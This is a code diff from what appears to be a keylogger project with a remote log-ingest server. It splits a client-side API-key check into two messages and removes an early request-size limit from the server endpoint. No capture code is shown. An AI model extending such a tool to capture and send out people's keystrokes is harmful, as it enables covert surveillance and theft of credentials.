diff --git a/src/keylogger.py b/src/keylogger.py
index 4295e5d..14537f4 100644
--- a/src/keylogger.py
+++ b/src/keylogger.py
@@ -227,8 +227,12 @@ def main():
         print("Please set server_url in config/config.json or use --server-url argument.")
         sys.exit(1)
 
-    if not api_key or len(api_key) < 24:
-        print("Error: LOG_INGEST_API_KEY environment variable is required and must be at least 24 characters.")
+    if not api_key:
+        print("Error: LOG_INGEST_API_KEY environment variable is required.")
+        sys.exit(1)
+
+    if len(api_key) < 24:
+        print("Error: LOG_INGEST_API_KEY must be at least 24 characters.")
         sys.exit(1)
     
     if args.no_verify_ssl:
diff --git a/src/server.py b/src/server.py
index a2f47da..a09b2a4 100644
--- a/src/server.py
+++ b/src/server.py
@@ -230,9 +230,6 @@ def receive_log():
         if not has_valid_api_key():
             return "Unauthorized", 401
 
-        if request.content_length and request.content_length > MAX_LOG_PAYLOAD_BYTES:
-            return "Log payload too large", 413
-
         log_data = request.form.get('log', '')
         if log_data:
             if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES: